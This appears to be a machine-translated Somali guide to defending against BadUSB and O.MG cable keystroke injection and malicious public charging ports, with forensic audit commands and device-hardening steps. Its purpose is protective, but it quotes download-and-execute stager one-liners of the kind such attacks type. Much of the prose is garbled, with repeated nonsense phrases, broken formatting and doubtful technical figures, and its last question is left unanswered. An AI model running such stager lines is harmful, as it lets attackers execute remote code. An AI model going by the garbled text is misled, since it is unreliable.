Xadhkaha USB-ga xaasidnimada leh (HID Injection / BadUSB) iyo Difaaca Kiosk Dadweynaha¶

Ku xidhida laptop-kaaga, casrigaaga, ama tablet-kaaga USB-C-ga ama xadhigga hillaaca oo aan la aqoon oo looga tagay miiska huteelka, albaabka madaarka, fadhiga dambe ee fuushan, ama bacda shirka, ama aragta wada hadal Windows Run ah (Win + RDaaqadda PowerShell, ama MacOS Terminal flashka shaashaddaada oo dhan 500 millise seconds oo bilow inaad ku qorto 1,000 erey daqiiqaddii isla markaaba ka dib markaad isku xirto fiilada USB, flash drive, ama gujiyaha bandhigga, waa saxeexa ** BadUSB / HID (Aaladaha Interface Insaanka) Gacan-ku-dhiigfuranka Cirbadeynta ** ama ** Kicinta Dadweynaha. Si ka duwan malware-ka dhaqameed ee lagu kaydiyo faylalka suulka ee iskaanka fayraska ay baari karaan ka hor inta aan la furin, qalabyada qalabaysan ee qalabaysan sida **O.MG Cable *, USB Rubber Ducky, Flipper Zero BadUSB, ** Bash Bunny, iyo USBHarpoon, iyo USBHarpoon Fidiyay raadiyaha yar yar ee si toos ah ugu xidha raadiyaha caaga ah Apple, Anker, ama Samsung xadhig ku dallaca ee caadiga ah (wax ka yar 12 milimitir ama 0.47 inji).

Marka lagu xidho kombayutarkaga ama talefanka casriga ah ee aan qufulin, kontoroolka qarsoon ee qarsoon uguma dhawaaqayso nidaamkaaga hawlgelinta sidii kayd kayd ama charger. Taa bedelkeeda, waxay ku xisaabtamaysaa USB-ga D+ iyo D- biinanka xogta sida caadiga ah ** USB HID kiiboodhka (Class 0x03*** ama ** Adabtarka Shabakadda Ethernet USB (RNDIS / ECM)**. Sababtoo ah Windows, macOS, Linux, iOS, iyo Android waxay si dhab ah u aamini karaan kiiboodhka cusub ee xidhan iyaga oo aan u baahnayn darawalo ama iskaan-ka-hortag, fiilada isla markaaba waxay dab qabadsiiyaan taxane horay loo qorsheeyay oo furayaasha furaha ah (Win + R -> powershell -w hidden -ep bypass ... Daaqadaha, ama Cmd + Space -> Terminal MacOS) ama waxay kicisaa Wi-Fi-ga fog ee la maamulo marka uu weeraryahan u jira 90 mitir (300 cagood) uu taleefoonka "Execute" ku taago. Wireless hotspot ballaadhan iyo hanjabaadaha shabakadda safarka oo ay weheliso dallacaadda dekedaha, sidoo kale la tasho annaga Wi-Fi-ga guud, mataanaha xun, iyo hagaha difaaca ee juuska. Haddii aad la kulanto hanjabaad jireed ama baad, wac nambarka degdega ah ee degaankaaga (911 Maraykanka iyo Kanada, 112 guud ahaan Midowga Yurub, 999 gudaha Boqortooyada Ingiriiska) ama arag annaga nambarada degdega ah hagaha. Raac go'doominta qalabka degdega ah iyo tallaabooyinka soo kabashada dambi-baarista ee hoose.

Hadda samee tan¶

1. ** YANK fiilada USB-ga ee looga shakisan yahay, flash drive, dock, ama xarigga ka soo dallaca qalabkaaga isla markiiba ***: Ilbiriqsi kasta BadUSB ama O.MG Cable waxay ku hartaa kombuyuutar aan qufulin ama taleefoonku wuxuu u ogolaanayaa microcontroller-kiisa gudaha (ama weeraryaha dhow ee ku xiran fiilada qarsoon ee Wi-Fi hotspot) si ay isugu dudo furayaasha furaha, kanaalka qarsoon ee USB wuxuu diiwaangeliyaa sirta kasta oo aad ku qorto kiiboodhka dibadda.
2. ** Ka saar laptop-ka ama taleefanka ay saamaysay Wi-Fi, Ethernet, iyo Bluetooth hadda, hana ku qorin wax furaha sirta ah mashiinkaas ***: Heerka 2-da ilbiriqsi ee BadUSB / Rubber Ducky ma qorayo barnaamij weyn oo ku saabsan interface-ka gaabis ah ee kiiboodhka; Halkii, waxay ku qortaa 1-line amar "stager" PowerShell (iex (irm http://...)ama macOS Terminal (curl -s http://... | sh) kaas oo soo dejinaya xog-ururin buuxda ama trojan meel fog laga galo xidhiidhkaaga Wi-Fi. Goynta Wi-Fi iyo Ethernet isla markiiba waxay dishaa soo dejinta ama waxay joojisaa nadiifinta.
3. **Haddii aad ku taabato "Trust This Computer" iPhone/iPad-kaaga ama aad doorato "Trust This Computer" ama aad doorato "Tust Transfer (MTP) / Oggolow USB Debugging (ADB)" ee talefankaaga Android ka dukaanka lacag bixinta ee dadweynaha, kala noqo kalsoonida isla markiiba ***:
4. ** IPhone / iPad-ka *: Ka saar xadhigga, tag ** Settings> Developer (haddii ay ka muuqato xagga hoose ee Settings) -> taabo ** Nadiifi Kombiyuutarrada la Aaminsan yahay **. Haddii horumariyuhu aanu muuqan, tag ** Settings > General > Beddelka ama Dib-u-dejinta iPhone > Dib-u-dejinta > Dib-u-dejinta Goobta & Qarsoodiga ***, kaas oo si qarsoodi ah u tirtiraya dhammaan lammaanaha lockdownd diiwaanada lammaane martigeliyaha si uusan kombuyuutar ama dukaanku waligiis u heli karin kaydka iPhone-kaaga la'aanteed lambarkaaga sirta ah.
5. ** Android-ka**: Ka saar xadhigga, tag ** Settings > System > Ikhtiyaarrada soo-saare** (haddii la awoodo) -> taabo ** Ka noqo oggolaanshaha cilladaha USB-ga , oo leexi ** ikhtiyaarrada soo-saareyaasha gabi ahaanba ** OFF**.
6. ** Hubi waxa culayska BadUSB-gu ku shubay kombuyutarkaaga adiga oo saxaya sanduuqaaga Run (RunMRU), Log amarrada PowerShell (PSReadLine), iyo MacOS Taariikhda Terminal ***: Kahor intaadan dib u kicin, fur daaqad nadiif ah kumbuyuutarkaaga khadka tooska ah oo akhri amarka saxda ah ee kiiboodhka USB-ga ee been abuurka ah uu ku duray nidaamkaaga adoo adeegsanaya annaga amarrada hanti-dhawrka dambi baarista ee Wajiga 2.
7. ** Ku ilaali fiilada USB-ga ee shakiga leh ama suulka weelka birta ah ama boorsada Faraday (hakugu soo celin kombuyuutar kasta si aad u aragto waxa ku jira)** Barta qarsoon ee Wi-Fi-ga oo u ogolaata weeraryahan ka baxsan qolka huteelkaaga ama xafiiska inuu ku xidho ama kiciyo is-buritaankiisa (Self-Destruct / Wipe) muuqaal. Si buuxda u daa.
8. ** Haddii rarka BadUSB-gu uu ku fuliyay qoraal kombuyuutarkaaga markii aad gudaha ku jirtay, beddel dhammaan shahaadooyinka oo ka noqo kalfadhiyada firfircoon ee qalab nadiif ah oo gooni ah ***: Sababtoo ah boqolkiiba 90 ee lacag-bixinta BadUSB-ga casriga ah waxay billaabaan infostealer kaas oo qabta cookies-ka browserka iyo furaha sirta ah ee la keydiyay 3 ilbiriqsi gudahood, fuli annaga afduubka buskudka fadhiga iyo hagaha burinta calaamada infostealer laga bilaabo casriga nadiifka ah.

Geedka go'aanka: ka jawaabista fiilada USB ee xaasidnimada ah ee looga shakisan yahay ama soo-gaadhista dukaamada dadweynaha¶

Adeegso jaantuska socodka taatikada ah si aad u go'aamiso in qalabkaagu la jabsaday ka dib markii lagu xidhay fiilada USB ee aan la aaminin, xidhashada, suulka suulka, ama xarunta dallaca dadweynaha:

flowchart TD
    Event["Lagu Xidhay Cable USB Aan La Aqoon, La Helay Flash Drive, Hudheelka/Kiosk Garoonka Diyaaradaha, Ama La Arkay Terminal/Orod Flash Daaqadda Shaashadda"] --> Unplug["TALLAABADA 1: Ka saar fiilada USB-ga isla markaaba & xidhidhiyaha Wi-Fi/Ethernet"]

    Unplug --> WhatDevice{"Qalabkee lagu xidhay Xadhkaha USB-ga ee aan la garanayn?"}

    WhatDevice -->|"Windows, macOS, ama Linux Laptop / Desktop"| ScreenLocked{"Shaashadda Kombuyuutarku ma la xidhay mise waa la furay markii la xidhay?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"IPhone-ka ma la furay, oo miyaad taabatay 'kalsoon' ama ma aragtay wax lagu qorayo?"}
    WhatDevice -->|"Android Smartphone / Tablet"| AndroidState{"Telefoonku ma la furay, mise 'USB Debugging (ADB)' waa la dadajiyay?"}

    ScreenLocked -->|"Furan (la galiyay Desktop)"| AssumeHID["KHATAR SARE: BadUSB / O.MG Cable wuxuu ku fulin karaa istaroogyada furaha (Win+R / Cmd+Space) gudaha <1.5 ilbiriqsi la'aan wax degdeg ah"]
    ScreenLocked -->|"Quful (Shaashada Furaha)"| NetworkDMA["Hubi haddii Thunderbolt/PCIe DMA ama USB Ethernet (RNDIS/DHCP Sumowga) ay dhaceen; Talaabooyinku ma dhaafi karaan shaashadda qufulka furahaaga la'aanteed"]

    iOSState -->|"Quful waqtiga oo dhan (iOS 15+ / USB xaddidan Mode)"| iOSSafe["SAFE: Apple 'Habka xaddidan ee USB' wuxuu jidh ahaan curyaamiyaa biinanka xogta ee iPhones qufulan -> Awoodda kaliya ayaa dhaaftay"]
    iOSState -->|"Furan oo la taabtay 'Trust' (ama la arkay Safari/Wax-gaabyo Furan)"| iOSRevoke["Isla markiiba ku orod: Settings> General> Bedel ama Dib u deji iPhone> Dib u deji> Dib u deji goobta & qarsoodiga + App-ka baadhista"]

    AndroidState -->|"Quful wakhtiga oo dhan (Qaabka lacag-bixinta Keliya)"| AndroidSafe["Badbaadada: Qalabyada Casriga ah ee Android ilaa 'Ma jirto Wareejin (Lacag Keliya)' -> Wax Xog ah lama Gudbin"]
    AndroidState -->|"Furan oo La Arkay Qorista Shaashada ama La Oggolaaday ADB/MTP"| AndroidRevoke["Dami Ikhtiyaarada Horumariyaha -> Ka noqo USB Debugging -> Hubi abka Rakiban & Soodejinta Chrome"]

Fahmida sida BadUSB, O.MG Cables, iyo Weerarada Dareenka Dadweynaha ay dhab ahaan u shaqeeyaan¶

Si aad si hufan u difaacdo naftaada, oo aad uga fogaato labadaba ka falcelinta qalabka dhabta ah ee lagu rakibay iyo ka argagaxa dekedaha dallacaadda aan waxyeellada lahayn, waxaad u baahan tahay inaad fahanto saddexda farsamo ee kala duwan ee weeraryahanadu u isticmaalaan USB:

1. BadUSB/HID cirbadeynta furahaO.MG Cable, Rubber Ducky, Flipper Zero)¶

• ** Ciladda Naqshadeynta Aasaasiga ah ee USB *: Baska Taxanaha Caalamiga ah (USBqeexiddu waxay u oggolaanaysaa hal xidhiidhiye oo jidheed inuu isu sheego inuu yahay qalab kasta inta lagu jiro tirinta (bInterfaceClass), ama xitaa sida ** Aaladaha Isku-dhafka ah (iskula caddeeya isku mar sida USB Flash Drive iyo Keyboard USB).
• ** Gudaha O.MG Cable ama Charger xaasidnimo ***: Muuqaal ahaan, O.MG Cable waa boqolkiiba 100 lama kala saari karo Apple-ka tidcan ama cad ee USB-C-ilaa-USB-C, USB-C-to-lightning, ama fiilada USB-A. Waxay dalacaysaa taleefankaaga waxayna u gudbisaa xogta si caadi ah. Si kastaba ha ahaatee, ku qarsoon gudaha caarada xiriiriyaha firfircoon waa kontorool microscopic dual-core microscopic oo leh 802.11 Wi-Fi iyo kaydinta flash:
• ** Cirbadda Furaha Furaha ee Firfircoon ***: Isla marka aad fiilada ku xirto Windows PC, Mac, ama taleefannada casriga ah ee aan qufulin, fiilada waxa ay tirisaa mid guud ** Keyboard-ka Qarsoon *** oo waxa uu noqdaa ilaa 850 xaraf ilbiriqsikii (DuckyScript). 1.5 ilbiriqsi gudahood, way riixdaa Win + R (Daaqadaha) ama Cmd + Space (Mac), waxa ay soo saartaa qolof asalka ah oo qarsoon, soo dejisa culays, oo xidha daaqadda.
• ** Keylogger Hardware Inline (Loogu talagalay Keyboards USB Dibadda) ***: Haddii weerarku ku beddelo fiilada USB-ga ee ku xiraya kumbuyuutarka farsamada dibadda PC-gaaga O.MG Cable, maqaar-galaha wuxuu si aamusnaan ah u fadhiyaa bartamaha siliga wuxuuna diiwaangeliyaa ** ilaa 650,000 furayaasha furayaasha *** (oo ay ku jiraan Bitwarden / 1Pass-kaaga) sirta ah ee BIOS Kaas oo qofka weerarka geystay uu si fiilo la'aan ah ugala soo degayo bannaanka dhismaha isagoo adeegsanaya Wi-Fi.
• Geofenced & Waqti-Waqti-qaadista Lacag-qaadista: Si ka duwan $50 USB Ducky Rubber Ducky fudud oo nooceeda culayska isla markiiba lagu xidho, O.MG Cable wuxuu ahaan karaa mid si buuxda u jiifa sidii xadhig dallacaadda caadiga ah ** maalmo ama toddobaadyo** ilaa ay ka ogaato shabakadda Wi-Fi ee shirkaddaada (BSSID geofencing) ama ilaa uu weeraryahanku ka kiciyo meel fog isaga oo adeegsanaya shabakadeeda UI ee ku dhex dhisan.

2. Afduubka Adabtarka Shabakadda USBRNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Xitaa haddii muraayadda laptop-kaagu ay xiran tahay Win + L ama Ctrl + Cmd + Q Markaa kiiboodhka USB-ga beenta ahi ma furi karo daaqad terminal ah, ku xidhidhiyaha USB-ga xaasidka ah deked xogta USB-ga ah oo furan waxay u ogolaanaysaa aaladda in loo tiriyo sida Mudnaanta Sare ee Gigabit USB Ethernet AdapterUSB RNDIS ama CDC-ECM).
• Sababtoo ah Windows iyo macOS waxay si toos ah u kala mudnaan siinayaan is dhexgalka cusub ee Ethernet ku xiran ee Wi-Fi, aaladda USB waxay noqotaa albaabka hore ee laptop-kaaga ee DHCP (0.0.0.0/1), wuxuu ka qabtaa taraafikada shabakadaha maxalliga ah ee aan qarsoodi ahayn, ka jawaaba WPAD / LLMNR / mDNS Weydiimaha, ama siphons cookies-ka browser-ka ee aan ahayn HttpOnly.

3. Kiosk dadwayne "Casiirka Jilicsan" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Markaad taleefoonka casriga ah geliso deked USB ah oo dadwaynaha ah ( garoonka diyaaradaha, saldhiga tareenka, madaxa huteelka, ama unugga macluumaadka gaadhiga kirada) addoo isticmaalaya fiilo xog-caadi ah:
• ** Maxaa si toos ah loo xannibay : Tan iyo ** iOS 11.4.1 / iOS 15+ (USB Restricted Mode iyo ** Android 9+ (Charge-Only Default, ku xidhida talefanka dekada xogta USB si toos ah uma kashifayso sawiradaada ama faylashaada. Wareejinta xogta waa la xannibay ilaa aad ka furto taleefanka oo si cad u taabo "Ku kalsoonow Computerkan" (oo lagu daro geli iPhone Passcode kaaga) ama gacanta ka beddel ogeysiiska USB-ga Android ka Xil wareejin la'aan una beddel * Wareejinta Faylka (MTP)* ama * Oggolow USB Debugging*.
• **Halka khatarta dhabta ahi ay taallo dukaamada dadweynaha ***:
  1. **ChoiceJacking & Cirridka HID ee Taleefanka Furan *: Sida ay muujiyeen cilmi-baarayaasha amniga ee Jaamacadda GrazChoiceJacking), haddii teleefankaaga ** gacantaada ku furan yahay *** intaad ku xirayso deked USB ah oo dad waynaha xaasidnimo leh, dukaanku wuxuu marka hore u xisaabin karaa ** Keyboard USB (HID) 200 millise seconds oo sax ah u dir Tab / Enter ama furaha furaha ah ee loo baahan yahay si **ku dhufo "Oggolow / Wareejinta Faylka" isla markiiba shaashaddaada ** ka hor intaadan u wareegin habka wareejinta xogta martida loo yahay.
  2. ** Khasaaraha Hardware-ka-xoog-dhaafka ah ee Awoodda wasakhaysan (USB Killer***: Dekadda USB-ga ee dadweynaha ee la xumeeyay waxay 200V DC ka tuuri kartaa bangiga korantada si toos ah taleefankaaga USB-C chip-ka xakamaynta, iyadoo si joogto ah u shiilaya sabuuradda macquulka ah.

Matrix isbarbardhigga: Qalabka Difaaca USB & Ilaalinta OS¶

Marxaladda 1: Sida Muuqaal ahaan iyo Koronto ahaan loogu Helo Xadhkaha USB-ga xaasidnimada ah (O.MG Cable Audit)¶

Haddii aad ka heshay fiilada USB-ga oo shaki leh xafiiskaaga, oo ku xidhan dhabarka kumbuyuutarka kumbuyuutarka ee kumbuyuutarka, ama gudaha boorsadaada safarka, raac afartan tillaabo si aad u go'aamiso haddii ay tahay qalab qalabaysan:

1. ** Tijaabada #1: Cabir Sii Wadista ama Isticmaal Tijaabada Xargaha QalabkaO.MG Malicious Cable Detector / Bleeping / Hak5 Tester***:
2. Caadiga ah USB-A-USB-C dadban, USB-A-ilaa-Lighting, ama fiilooyinka ku dallaca USB-C ee aan-E-Calaamadsanayn kuma jiraan microprocessor firfircoon oo jiidaya hadda marka hal dhammaad kaliya lagu xidho koronto.
3. A ** O.MG Malicious Cable Detector ** (ama khadka tooska ah ee USB-ga hadda jira / falanqeeyaha borotokoolka sida Power-Z KM003C) wuxuu fadhiyaa inta u dhaxaysa isha korantada iyo fiilada oo aan lahayn ** wax ku xidhan dhamaadka fog ee fiilada ***:
   • Haddii fiilku soo jiido 30 ilaa 120 milliamps (mA) oo hadda ah 5V marka aan waxba lagu xidhin dhinaca kale, ama la isku dayo in lagala xaajoodo USB D+/D- Tirinta lafteeda, ** waxaa jira kumbuyuutar firfircoon / raadiyaha Wi-Fi oo ku qarsoon madaxa fiilada**.
4. **Tijaabada #2: Hubi meelaha laga galo Wi-Fi qarsoon (O.MG SSID-yada caadiga ah ama ESP32 MAC Horgalayaasha) ***:
5. O.MG Cables iyo qalabyada BadUSB-ga bilaa-waayirka ah waxay isticmaalaan ** Espressif (ESP8266 / ESP32-S2 / ESP32-C3*** Chip Wi-Fi gudaha qolofta xiriiriyaha.
6. Adigoo isticmaalaya bangi baytari USB go'doonsan gudaha faraday/go'doon (waligaa kombuyuutarkaaga), ku shaqaynta fiilada O.MG ee aan habaysan ama default ayaa inta badan baahisa 2.4 GHz Wi-Fi network (SSID default) O.MG at 192.168.4.1, ama SSID qarsoon oo leh Cinwaanka MAC / BSSID OUI oo ay iska leedahay Espressif Inc. sida 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, haddii aan la shubin).
7. **Tijaabada #3: Eeg dhererka caaryada xad dhaafka ah ee xidhiidhiyaha iyo kulaylka
8. Is barbar dhig qolofta caagga ah ee cufan ee fiilada laga shakisan yahay ka dhanka ah Apple ama fiilada Anker-ka ee la yaqaan oo dhinac-dhinac ah:
   • In kasta oo jiilkii O.MG Cable ee dhawaanahan ay ku habboon yihiin cabbirrada saxda ah ee Apple, ka dib 3 daqiiqo oo la helay koronto 5V ah, madaxa isku xirka ay ku jiraan microcontroller Wi-Fi firfircoon wuxuu dareemi doonaa ** si muuqata diiran35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit)** farahaaga dhexdooda xataa marka aanu talefoonku dalacayn dhanka kale. (Fiilada dadban ee caadiga ah oo aan waxba ku xidhin cidhifka fog ayaa si buuxda u qabow heerkulka qolka.)

Marxaladda 2: Kala soocidda Forensic-ka Haddii BadUSB ama O.MG Cable lagu Qoray Kombayutarkaaga¶

Haddii aad ku xirtay fiilo USB ah, suulka suulka, ama ku hareeraysan kumbuyuutarkaaga Windows PC, Mac, ama Linux oo aad aragtay menu-ka Start, Run dialog (Win + R), Iftiiminta (Cmd + Space), ama daaqada terminaalka madow/buluuga ah ee toosh fur oo xidh, ** wali dib ha u kicin**. Samee amarradan khadka tooska ah si aad u aragto waxa kiiboodhka USB-ga ee beenta ah lagu qoray iyo waxa USB Iibiyaha/Aqoonsiga Alaabta (VID:PID) ku xidhan dekeddaada:

1. Windows 10 & Windows 11 Audit Forensic (Ku socodsii PowerShell khadka tooska ah)¶

Fur PowerShell (Admin) kumbiyuutarka khadka tooska ah ee Windows oo ku socodsii afartan amar ee baaritaanka:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Sida loo fasiro Get-ItemProperty ... RunMRU:
• Ku dhawaad qoraal kasta oo Windows BadUSB / Rubber Ducky wuxuu ku bilaabmaa adigoo riixaya Win + R (GUI r in DuckyScript) iyo ku qor amar sida powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex ama cmd /c curl ....
• Xitaa haddii qoraalku isku dayo inuu tirtiro RunMRU Dhamaadka, haddii aad goysay fiilada badhtamaha fulinta (ama haddii qoraalku aanu nadiifin diiwaanka), URL xaasidnimada saxda ah iyo amarku waxay fadhiisan doonaan gudaha gudaha. RunMRU (a, b, c qiyamka) ama gudaha ConsoleHost_history.txt.

2. Apple macOS Forensic Audit (Ku socodsii Terminalka khadka tooska ah)¶

Marka loo eego macOS, BadUSB-ka lacag-bixinta ayaa caadi ahaan riix Cmd + Space (GUI SPACE), nooca Terminal, saxaafadda Enter, oo orod a curl ama osascript hal-lineer:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Linux Forensic Audit (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Haddii mid ka mid ah qoraallada kor ku xusan ay muujinayaan in a powershell, cmd, mshta, curl, wget, ama osascript Amarka la fuliyay markii lagu xiray internetka, u qaado infostealer ama dhabarka dambe ee joogtada ah: burin dhammaan fadhiyada annaga oo isticmaalaya afduubka buskudka fadhiga iyo hagaha infostealer oo samee dib u rakib OS nadiif ah ka dib malware, ransomware, iyo spyware hagaha caabuqa.

Marxaladda 3: Qufulka Aaladahaaga Markaa Xadhkaha BadUSB waligood si toos ah uma fulin karaan¶

Nidaamyada hawlgalka casriga ah hadda waxaa ka mid ah qufulo deked qalabeed ku dhex dhisan oo awood leh oo ** si buuxda u baabi'inaya BadUSB, O.MG Cables, iyo Duckies Rubber ** ka hor inta aysan qorin hal xaraf, waa haddii aad shid goobahaas:

1. MacOS Apple (Apple Silicon M1/M2/M3/M4 MacBooks): Daree "Weydii qalab cusub"¶

On Apple Silicon Macs ee ku shaqeeya macOS Ventura, Sonoma, ama Sequoia, Apple waxay soo bandhigtay ogolaanshaha dekedda heerka-hardware USB-C/Thunderbolt kaas oo xannibaya fiilada USB kasta ama qalab kasta oo cusub inuu u xisaabiyo sidii kiiboodhka ilaa aad si cad u gujiso "Oggolow": 1. Fur ** Menu Tufaaxa (> > Habaynta Nidaamka > Qarsoodi & Ammaanka**. 2. Hoos ugu dhaadhac qaybta Amniga oo hel "U ogolow qalabyada inay ku xidhmaan". 3. Ka beddel Si toos ah marka la furo oo u beddel "Weydiiso qalab cusub" (ama "Weydii mar walba" ilaalinta safarka ee ammaanka sare leh). 4. ** Maxay tani u joojinaysaa O.MG Cables qabow oo ku yaal Mac : Markaad ku xirto fiilada O.MG khiyaanada leh ee ku dallaca "Weydii Mar walba" ama "Weydii qalab cusub" karti u leh, korontadu waxay isla markiiba ku socotaa si ay u dallato batterigaaga MacBookga, ** laakiin macOS waxay soo saartaa akhrinta digniinta ah: "Allow accessory '[Device Name]' to connect to this Mac?" Sababtoo ah fiilada dallacaadda dadban ee caadiga ah waligiis ma waydiinayo in lagu xidho sidii qalab xog ah, marka la arkayo soo baxay marka lagu xidho xadhig fudud oo dallaca ** isla markaaba waxa ay daaha ka qaadaysaa fiilada in ay tahay qalab rakiban* iyada oo boqolkiiba 100 ka xannibaysa furayaasha furayaasha ilaa aad ka furto.

2. Apple iPhone & iPad: Xaqiiji "USB Restricted Mode" waa la dajiyay¶

1. Fur ** Settings > Face ID & Passcode** (ama Taabasho Aqoonsiga & Koodhka furaha) oo geli lambarkaaga sirta ah.
2. Hoos ugu dhaadhac qaybta "Ogolow gelitaanka marka la xidho".
3. Hubi in beddelka ku xiga Accessories (ama ** Alaabta USB-ga ah**) uu damiyay Dami (cawlan).
4. Iyadoo ** Agabka** damsan ** OFF**, mar kasta oo iPhone-kaagu xidhan yahay, iOS jidh ahaan waxa ay curyaamisaa biinanka xogta USB-ga, taas oo u oggolaanaysa in awoodda dallacadu dhaafto. ** Had iyo jeer taabo badhanka dhinaca si aad u quful shaashadda iPhone ka hor inta aanad ku xidhin dabaylaha ama gaadhi kirada ah oo aanad aqoon.**

3. Android 15/16 & GrapheneOS: Daree "Ilaalinta Sare" / Qufulka Dekada USB¶

• ** Android-ka caadiga ah (Pixel, Samsung Galaxy) ***:
• Waligaa ha ka tagin Ikhtiyaarada Horumarinta> USB Debugging (ADB* karti u leh marka la safrayo.
• Gudaha ** Settings > Security & Privacy > Dejinta amniga oo dheeri ah** (ama ** Ilaalinta Sare** ee Android 15/16+), awood u yeelo ** ilaalinta USB / xannibi aaladaha USB-ga cusub marka aad qufulan**.
• Had iyo jeer xidh shaashaddaada ka hor inta aanad ku xidhin deked kasta oo dadwaynaha ku dallaco si ChoiceJacking weerarrada HID aanay ula falgeli karin shaashad furan.

4. Linux & Windows Enterprise: USBGuard iyo Xayiraadaha Rakibaadda Qalabka¶

• ** LinuxUSBGuard***: Ku rakib usbguard daemon (sudo apt install usbguard), kaas oo xannibaya qalab kasta oo cusub oo USB ah oo ku xiran bInterfaceClass 03 (HID Keyboard) haddii kiiboodhka aasaasiga ah uu horay ugu xidhnaa ama ilaa si cad loogu oggolaaday iyada oo loo marayo usbguard allow-device.
• ** On Windows 11 Pro / Enterprise *: Daar ** Ilaalinta DMA KernelBitLocker + VBS gudaha Windows Security> Amniga Aaladda> Go'doominta Muhiimka ah si loo joojiyo weerarada Thunderbolt/PCIe DMA, oo had iyo jeer quful goobtaada shaqada (Win + L) ka hor inta aanad xidhin fiilada USB-ga ee aan la aqoon sidaa darteed cirbadaha furaha ma geli karaan qolofka desktop-ka ee gudaha ku jira.

Su'aalaha soo noqnoqda¶

Xadhig xun O.MG Cable ama xadhiga BadUSB ma jabsan karaa talefankayga iPhone ama Android hadii aan xidho oo kaliya inta shaashada talefanku xidhan tahay?¶

Haddii iPhone-kaagu leeyahay Dejinta> Aqoonsiga wajiga & furaha furaha> Oggolow gelitaanka marka la xidho> Agabka jeestay DAMN (sida caadiga ah ee iOS 15 ilaa iOS 18) oo shaashaddaadu way xidhan tahay markaad fiilada geliso, ma jiro xog ama furaha furaha oo gaari kara iPhone kaaga sababtoo ah IOS wuxuu curyaamiyaa khadadka xogta USB ee heerka kontoroolka qalabka ilaa aad ka furto taleefanka aqoonsiga wajiga ama furahaaga. Si kastaba ha noqotee, marka aad furto iPhone-kaaga iyadoo O.MG Cable uu wali ku xiran yahay, fiilada ayaa tirin kara sidii kumbuyuutar USB dibadda ah oo si degdeg ah u soo diri kara furayaasha keyboard-ka iOS (sida. Cmd + Space si aad u furto Spotlight, u fur Safari si phishing/profile profile URL, ama kicin Apple Shortcuts). Waligaa ha ku xidhin fiilada USB ee la helay ama aan la aaminin inta aad furayso taleefankaaga.

Sideen u sheegi karaa farqiga u dhexeeya fiilada USB-ga ee dhabta ah "Charge-Kaliya" iyo fiilada xogta USB ee caadiga ah?¶

Sababtoo ah wax-soo-saarayaashu marar dhif ah ayay ku daabacaan calaamadaha fiilooyinka iyaga oo kala soocaya xadhkaha lacag-la'aanta ah ee xadhkaha xogta, imtixaanka ugu fudud ee badbaadada leh waa in lagu xidho fiilada inta u dhaxaysa kombuyuutarka iyo qalab duug ah oo aan muhiim ahayn (ama isticmaal $ 10 khad USB ah oo fiilada USB ah oo la mid ah guddiga tijaabiyaha joogtada ah sida Treedix USB Cable Tester, kaas oo iftiimiya LED-yada gaarka ah ee silig kasta oo gudaha ah iyada oo aan la kicin wax microcontroller ah). Looxa tijaabiyaha joogtada ah, waa run Fiilada Kharash-Kaliya iftiimin doona kaliya VBUS iyo GND (2 LEDs), halka fiilada awooda xogta ay sidoo kale iftiimin doonto D+ iyo D- (iyo CC1/TX/RX USB-C). Taas beddelkeeda, ilaali qof go'an adabtarada USB Data Blocker jireed si joogto ah ugu xidhan cidhifka xadhigga safarkaaga halkaas oo aad si jir ahaaneed uga eegi karto gudaha dekedda dheddigga oo aad indhahaaga ku hubiso in biinanka xogta dhexe ay maqan yihiin.

Ammaan ma tahay in aan ku xidho fiilada dallacaadda aniga ii gaar ah oo aan ku xidho korantada AC (2-prong/3-prong socket darbiga) ee garoonka diyaaradaha ama hudheelka halkii aan ka isticmaali lahaa dekedda USB-ga ee ku dhex dhisan?¶

